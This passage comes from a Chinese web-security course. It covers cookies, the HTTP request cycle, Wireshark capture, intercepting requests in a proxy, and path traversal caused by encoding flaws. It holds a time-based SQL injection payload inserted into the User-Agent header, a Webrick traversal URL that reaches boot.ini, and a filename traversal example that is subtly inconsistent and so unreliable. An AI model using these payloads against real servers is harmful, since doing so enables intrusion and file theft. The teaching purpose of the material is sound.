態(tài)不一致,后退導(dǎo)致Cookie不會(huì)重置。(5)較多遇到的是HTTP請(qǐng)求流量浪費(fèi)。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)技能拓展在谷歌瀏覽器中安裝EditThisCookie插件,打開百度首頁(yè)后,再打開該插件,可以修改Cookie值。子任務(wù)1.2.3HTTPCookie數(shù)據(jù)任務(wù)總結(jié)通過本任務(wù)的實(shí)施,應(yīng)掌握下列知識(shí)和技能。?了解Cookie的概念。?使用瀏覽器查看網(wǎng)站的Cookie。?使用瀏覽器修改網(wǎng)站的Cookie。子任務(wù)1.2.4截取HTTP請(qǐng)求任務(wù)描述了解HTTP的通信機(jī)制,使用工具軟件截取HTTP請(qǐng)求,修改HTTP請(qǐng)求,并轉(zhuǎn)發(fā)到目的網(wǎng)站。子任務(wù)1.2.4截取HTTP請(qǐng)求任務(wù)描述子任務(wù)1.2.4截取HTTP請(qǐng)求相關(guān)知識(shí)HTTP通信機(jī)制是在一次完整的HTTP通信過程中,Web瀏覽器與Web服務(wù)器之間將完成下列7個(gè)步驟。子任務(wù)1.2.4截取HTTP請(qǐng)求相關(guān)知識(shí)1.建立TCP連接在HTTP工作開始之前,Web瀏覽器首先要通過網(wǎng)絡(luò)與Web服務(wù)器建立連接,該連接是通過TCP來(lái)完成的,該協(xié)議與IP協(xié)議共同構(gòu)建Internet,即著名的TCP/IP協(xié)議族,因此Internet又被稱作TCP/IP網(wǎng)絡(luò)。HTTP是比TCP更高層次的應(yīng)用層協(xié)議,根據(jù)規(guī)則,只有低層協(xié)議建立之后,才能進(jìn)行更高層協(xié)議的連接,因此,首先要建立TCP連接,一般TCP連接的端口號(hào)是80子任務(wù)1.2.4截取HTTP請(qǐng)求相關(guān)知識(shí)2.Web瀏覽器向Web服務(wù)器發(fā)送請(qǐng)求命令一旦建立了TCP連接,Web瀏覽器就會(huì)向Web服務(wù)器發(fā)送請(qǐng)求命令。例如:GET/sample/hello.jspHTTP/1.1。3.Web瀏覽器發(fā)送請(qǐng)求頭信息瀏覽器發(fā)送其請(qǐng)求命令之后,還要以頭信息的形式向Web服務(wù)器發(fā)送一些別的信息,之后瀏覽器發(fā)送了一空白行來(lái)通知服務(wù)器,它已經(jīng)結(jié)束了該頭信息的發(fā)送。子任務(wù)1.2.4截取HTTP請(qǐng)求相關(guān)知識(shí)4.Web服務(wù)器應(yīng)答客戶機(jī)向服務(wù)器發(fā)出請(qǐng)求后,服務(wù)器會(huì)向客戶機(jī)回送應(yīng)答如下。HTTP/1.1200OK應(yīng)答的第一部分是協(xié)議的版本號(hào)和應(yīng)答狀態(tài)碼。子任務(wù)1.2.4截取HTTP請(qǐng)求相關(guān)知識(shí)5.Web服務(wù)器發(fā)送應(yīng)答頭信息正如客戶端會(huì)隨同請(qǐng)求發(fā)送關(guān)于自身的信息一樣,服務(wù)器也會(huì)隨同應(yīng)答向用戶發(fā)送關(guān)于它自己的數(shù)據(jù)及被請(qǐng)求的文檔。6.Web服務(wù)器向?yàn)g覽器發(fā)送數(shù)據(jù)Web服務(wù)器向?yàn)g覽器發(fā)送頭信息后,它會(huì)發(fā)送一個(gè)空白行來(lái)表示頭信息的發(fā)送到此為止,接著它就以Content-Type應(yīng)答頭信息所描述的格式發(fā)送用戶所請(qǐng)求的實(shí)際數(shù)據(jù)。子任務(wù)1.2.4截取HTTP請(qǐng)求相關(guān)知識(shí)7.Web服務(wù)器關(guān)閉TCP連接一般情況下,一旦Web服務(wù)器向?yàn)g覽器發(fā)送了請(qǐng)求數(shù)據(jù),它就要關(guān)閉TCP連接,然后瀏覽器或者服務(wù)器在其頭信息加入了這行代碼。Connection:keep-aliveTCP連接在發(fā)送后將仍然保持打開狀態(tài),于是,瀏覽器可以繼續(xù)通過相同的連接發(fā)送請(qǐng)求。保持連接節(jié)省了為每個(gè)請(qǐng)求建立新連接所需的時(shí)間,還節(jié)約了網(wǎng)絡(luò)帶寬。子任務(wù)1.2.4截取HTTP請(qǐng)求任務(wù)實(shí)施Wireshark是非常流行的網(wǎng)絡(luò)封包分析軟件,功能十分強(qiáng)大。可以截取各種網(wǎng)絡(luò)封包,顯示網(wǎng)絡(luò)封包的詳細(xì)信息。為了安全考慮,Wireshark只能查看封包,而不能修改封包的內(nèi)容,或者發(fā)送封包。子任務(wù)1.2.4截取HTTP請(qǐng)求任務(wù)實(shí)施使用Wireshark抓包的方法如下。(1)請(qǐng)求報(bào)文抓包分析。在該報(bào)文中,RequestMethod指明了請(qǐng)求的方法為:RequestURI指明了所請(qǐng)求資源的完整URI;RequestVersion指明了報(bào)文所用的版本;Host指明了目標(biāo)主機(jī);User-Agent指明了客戶端的詳細(xì)信息;Accept-Language指明了服務(wù)器可以發(fā)送的語(yǔ)言類型;Accept-Encoding指明了服務(wù)器能夠發(fā)送的編碼類型;Referer指明了所要請(qǐng)求的資源;Connection指明了當(dāng)前連接的狀態(tài)。子任務(wù)1.2.4截取HTTP請(qǐng)求任務(wù)實(shí)施(2)響應(yīng)報(bào)文抓包分析。在該報(bào)文中,StatusCode表示客戶端請(qǐng)求成功,響應(yīng)代碼為200;Server表示服務(wù)器應(yīng)用程序軟件的名稱和版本;Date指明了響應(yīng)的時(shí)間和日期;Content-Type指明了響應(yīng)的類型;Last-Modified指明了請(qǐng)求的文件是否被修改;Expires指明了響應(yīng)持續(xù)的時(shí)間;Cache-Control指明了報(bào)文直接從瀏覽器緩存中提取。子任務(wù)1.2.4截取HTTP請(qǐng)求知識(shí)拓展HTTP應(yīng)答碼也稱為狀態(tài)碼,它反映了Web服務(wù)器處理HTTP請(qǐng)求狀態(tài)。HTTP應(yīng)答碼由3位數(shù)字構(gòu)成,其中首位數(shù)字定義了應(yīng)答碼的類型。(1)1XX-信息類(Information):表示收到Web瀏覽器請(qǐng)求,正在進(jìn)一步的處理中。(2)2XX-成功類(Successful):表示用戶請(qǐng)求被正確接收、理解和處理,例如200OK。子任務(wù)1.2.4截取HTTP請(qǐng)求知識(shí)拓展(3)3XX-重定向類(Redirection):表示請(qǐng)求沒有成功,客戶必須采取進(jìn)一步的動(dòng)作。(4)4XX-客戶端錯(cuò)誤(ClientError):表示客戶端提交的請(qǐng)求有錯(cuò)誤,例如,404NOTFound意味著請(qǐng)求中所引用的文檔不存在。(5)5XX-服務(wù)器錯(cuò)誤(ServerError):表示服務(wù)器不能完成對(duì)請(qǐng)求的處理,如500。掌握HTTP應(yīng)答碼有助于提高Web應(yīng)用程序調(diào)試的效率和準(zhǔn)確性。子任務(wù)1.2.4截取HTTP請(qǐng)求技能拓展當(dāng)通過瀏覽器訪問Web服務(wù)器時(shí),瀏覽器要向網(wǎng)站服務(wù)器發(fā)送一個(gè)HTTP請(qǐng)求,然后網(wǎng)站服務(wù)器根據(jù)HTTP請(qǐng)求的內(nèi)容生成當(dāng)次請(qǐng)求的內(nèi)容并發(fā)送給瀏覽器,使用工具軟件可以截取消息頭信息并修改后發(fā)出。子任務(wù)1.2.4截取HTTP請(qǐng)求技能拓展子任務(wù)1.2.4截取HTTP請(qǐng)求技能拓展打開Repeater→Action→SendtoRepeater菜單,將該數(shù)據(jù)包發(fā)送到Repeater選項(xiàng)卡中,進(jìn)行編輯,在User-Agent后面加入代碼“’,(select*from(select(sleep(60)))a)#”,如圖1-26所示。單擊窗口左邊的Go按鈕,就可以將修改后的數(shù)據(jù)包轉(zhuǎn)發(fā)到Web服務(wù)器,服務(wù)器通過解析User-Agent字段,可以知道客戶機(jī)使用的操作系統(tǒng)和瀏覽器,并將獲取到的值保存到數(shù)據(jù)庫(kù)中,如圖1-27所示。子任務(wù)1.2.4截取HTTP請(qǐng)求技能拓展因?yàn)楹竺婕恿艘欢未a,所以在執(zhí)行的時(shí)候,SQL代碼可能為INSERTINTOvisits(useragent,datetime)VALUES('Mozilla/5.0(X11;Linuxx86_64;rv:45.0)Gecko/20100101Firefox/45.0',(select*from(select(sleep(60)))a)#','2017-02-1317:00:26子任務(wù)1.2.4截取HTTP請(qǐng)求技能拓展子任務(wù)1.2.4截取HTTP請(qǐng)求技能拓展子任務(wù)1.2.4截取HTTP請(qǐng)求技能拓展這時(shí),“#”后面的語(yǔ)句都被注釋了,數(shù)據(jù)庫(kù)處理該SQL語(yǔ)句的線程要等待60秒。子任務(wù)1.2.4截取HTTP請(qǐng)求任務(wù)總結(jié)通過本任務(wù)的實(shí)施,應(yīng)掌握下列知識(shí)和技能。?了解HTTP協(xié)議的通信機(jī)制。?掌握截取HTTP請(qǐng)求的方法。?了解截取HTTP請(qǐng)求的意義。子任務(wù)1.2.5編碼與規(guī)范化漏洞任務(wù)描述路徑遍歷是可通過規(guī)范化缺陷加以利用的最常見漏洞之一,因?yàn)樗偸巧婕芭c操作系統(tǒng)的通信。各種Web服務(wù)器軟件中也可能存在這種類型的漏洞,導(dǎo)致攻擊者能夠讀取或?qū)懭隬eb根目錄以外的任何文件,所以必須了解路徑遍歷漏洞的種類和形成原因。子任務(wù)1.2.5編碼與規(guī)范化漏洞相關(guān)知識(shí)許多Web服務(wù)器軟件中都存在編碼漏洞,如果用戶提交的相同數(shù)據(jù)被使用各種技術(shù)的幾個(gè)保護(hù)層處理,編碼漏洞就會(huì)造成嚴(yán)重的威脅。一個(gè)典型的Web請(qǐng)求可能被Web服務(wù)器、應(yīng)用程序平臺(tái)、各種托管與非托管API、其他軟件組件與基礎(chǔ)操作系統(tǒng)處理。如果不同的組件以不同的方式執(zhí)行一種編碼方案,或者對(duì)部分編碼的數(shù)據(jù)進(jìn)行其他解碼或注釋,那么攻擊者就可以利用這種行為避開過濾或造成其他反常行為。子任務(wù)1.2.5編碼與規(guī)范化漏洞任務(wù)實(shí)施目前已知的涉及編碼規(guī)范化的路徑遍歷漏洞有以下幾種。1.AppleiDdiskServer路徑遍歷AppleiDdiskServer是一項(xiàng)流行的云同步存儲(chǔ)服務(wù)。iDdisk用戶的目錄結(jié)構(gòu)中包含一個(gè)公共目錄,該目錄的內(nèi)容可由未授權(quán)的互聯(lián)網(wǎng)用戶訪問。子任務(wù)1.2.5編碼與規(guī)范化漏洞任務(wù)實(shí)施2.RubyWebrickWeb服務(wù)器Webrick是一個(gè)作為Ruby的一部分提供的Web服務(wù)器。該服務(wù)器易于受到以下簡(jiǎn)單形式的遍歷攻擊:http://[server]:[port]/..%5c..%5c..%5c..%5c..%5c..%5c../boot.ini子任務(wù)1.2.5編碼與規(guī)范化漏洞任務(wù)實(shí)施3.JavaWeb服務(wù)器目錄遍歷此路徑遍歷漏洞源于JVM并不解碼UTF-8這一事實(shí)。Tomcat即是一種以Java編寫并使用易受攻擊的JVM版本的Web服務(wù)器。4.AllaireJRun目錄列表漏洞即使目錄中包含index.html之類的默認(rèn)文件,攻擊者仍然可以利用這個(gè)漏洞獲取目錄列表。子任務(wù)1.2.5編碼與規(guī)范化漏洞任務(wù)實(shí)施5.MicrosoftIISUnicode路徑遍歷漏洞為防止路徑遍歷攻擊,IIS在包含點(diǎn)—點(diǎn)—斜線序列的請(qǐng)求中查找它的字面量與URL編碼形式。如果某個(gè)請(qǐng)求中沒有這些表達(dá)式,IIS服務(wù)器就會(huì)接受這個(gè)請(qǐng)求,然后做進(jìn)一步處理。但是,接下來(lái)服務(wù)器對(duì)被請(qǐng)求的URL進(jìn)行了額外的規(guī)范化處理,使得攻擊者能夠避開過濾,讓服務(wù)器處理遍歷序列。子任務(wù)1.2.5編碼與規(guī)范化漏洞知識(shí)拓展應(yīng)用程序采用的文件名編碼方案存在路徑遍歷漏洞。例如,一些應(yīng)用程序具有某種工作流程功能,允許用戶上傳及下載文件。執(zhí)行上傳操作的請(qǐng)求提供一個(gè)文件名參數(shù),在寫入文件時(shí)易于受到路徑遍歷攻擊。如果一個(gè)文件成功上傳,那么應(yīng)用程序再為用戶提供一個(gè)下載URL。這里有兩點(diǎn)值得注意。(1)應(yīng)用程序核對(duì)將要寫入的文件是否已經(jīng)存在,如果存在,就拒絕重寫這個(gè)文件。(2)為下載用戶文件而生存的URL使用一種定制模糊處理方案表示。這種方案是一種定制的Base64編碼形式,在每個(gè)編碼文件名位置使用一組不同的字符。子任務(wù)1.2.5編碼與規(guī)范化漏洞知識(shí)拓展總的來(lái)說(shuō),這些注意點(diǎn)給直接利用漏洞設(shè)立了障礙。首先,盡管能夠在服務(wù)器文件系統(tǒng)中寫入任何文件,但攻擊者卻無(wú)法重寫任何現(xiàn)有文件,而且Web服務(wù)器進(jìn)程擁有的較低權(quán)限意味著攻擊者不可能在任何有利位置創(chuàng)建新文件。其次,如果不對(duì)定制編碼進(jìn)行逆向工程,攻擊者也不可能請(qǐng)求任意一個(gè)現(xiàn)有的文件。子任務(wù)1.2.5編碼與規(guī)范化漏洞技能拓展下面的這個(gè)URL是應(yīng)用程序使用一個(gè)動(dòng)態(tài)頁(yè)面向客戶端返回靜態(tài)圖片,被請(qǐng)求的文件名在查詢字符串中指定。/picture/getfile.asp?filename=a.jpg子任務(wù)1.2.5編碼與規(guī)范化漏洞技能拓展當(dāng)服務(wù)器處理這個(gè)請(qǐng)求時(shí),執(zhí)行以下操作。(1)從查詢字符串中提取filename參數(shù)。(2)將這個(gè)值附加在C:\filestore\之后。(3)用filename打開文件。(4)讀取文件的內(nèi)容并將其返回給客戶端子任務(wù)1.2.5編碼與規(guī)范化漏洞技能拓展當(dāng)服務(wù)器處理這個(gè)請(qǐng)求時(shí),執(zhí)行以下操作。(1)從查詢字符串中提取filename參數(shù)。(2)將這個(gè)值附加在C:\filestore\之后。(3)用filename打開文件。(4)讀取文件的內(nèi)容并將其返回給客戶端漏洞之所以會(huì)發(fā)生,是因?yàn)槟涿粲脩艨梢詫⒙窂奖闅v序列放入文件名內(nèi),從第2步指定的圖像目錄向上回溯,從而訪問服務(wù)器上的任何文件。子任務(wù)1.2.5編碼與規(guī)范化漏洞技能拓展路徑遍歷序列表示為“點(diǎn)—點(diǎn)—斜線”(..\),一個(gè)典型的攻擊如下。/picture/getfile.asp?filename=...\Windows\picture.ini如果應(yīng)用程序把filename參數(shù)的值附加到圖像目錄名稱之后,就得到以下路徑。C:\filestore\...\Windows\picture.ini子任務(wù)1.2.5編碼與規(guī)范化漏洞技能拓展這兩個(gè)遍歷序列立即從圖像目錄回溯到操作系統(tǒng)的根目錄下,前面的路徑等同于以下路徑。C:\Windows\win.ini因此,服務(wù)器不會(huì)返回圖像文件,而是返回默認(rèn)的Windows配置文件。子任務(wù)1.2.5編碼與規(guī)范化漏洞任務(wù)總結(jié)通過本任務(wù)的實(shí)施,應(yīng)掌握下列知識(shí)和技能。?了解規(guī)范化編碼形成漏洞的原因。?了解目前已經(jīng)被發(fā)現(xiàn)的遍歷漏洞。?了解如何利用規(guī)范化編碼導(dǎo)致的遍歷漏洞。子任務(wù)1.2.5編碼與規(guī)范化漏洞任務(wù)總結(jié)通過本任務(wù)的實(shí)施,應(yīng)掌握下列知識(shí)和技能。?了解規(guī)范化編碼形成漏洞的原因。?了解目前已經(jīng)被發(fā)現(xiàn)的遍歷漏洞。?了解如何利用規(guī)范化編碼導(dǎo)致的遍歷漏洞。任務(wù)1.3Web服務(wù)器應(yīng)用程序規(guī)范子任務(wù)1.3.1攻擊瀏覽器擴(kuò)展的方法子任務(wù)1.3.2Web核心安全同源策略
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 個(gè)人工作效率統(tǒng)計(jì)表格模板(銷售人員)
- 全等三角形的判定-角邊角課件
- 分?jǐn)?shù)與除法的關(guān)系
- 醫(yī)院臨床醫(yī)院感染管理小組工作手冊(cè)
- 黃藍(lán)扁平風(fēng)入職培訓(xùn)模板
- 領(lǐng)導(dǎo)力發(fā)展領(lǐng)導(dǎo)團(tuán)隊(duì)的藝術(shù)
- 音樂節(jié)活動(dòng)的視覺藝術(shù)顏色設(shè)計(jì)與流行元素融合
- 顧客情感在新零售中的影響與策略
- 非遺文化在小學(xué)德育課程中的融入與實(shí)踐
- 顧客體驗(yàn)為核心的新零售辦公用品營(yíng)銷
- 光伏發(fā)電工程建設(shè)標(biāo)準(zhǔn)工藝手冊(cè)(2023版)
- 2024年中國(guó)東航行測(cè)筆試題庫(kù)
- 江西省贛州市2024-2025學(xué)年高一物理下學(xué)期期末考試試題
- 2024版燈具安裝勞務(wù)合同范文
- 2024研學(xué)旅行合同書
- 咖啡的微觀世界智慧樹知到期末考試答案章節(jié)答案2024年成都師范學(xué)院
- 展廳講解員培訓(xùn)方案
- 2024年安徽六安裕安投資集團(tuán)裕安融資擔(dān)保有限公司招聘筆試參考題庫(kù)含答案解析
- 物流服務(wù)營(yíng)銷策略分析
- MOOC 光纖通信-南京郵電大學(xué) 中國(guó)大學(xué)慕課答案
- 公共政策導(dǎo)論全套教學(xué)課件
評(píng)論
0/150
提交評(píng)論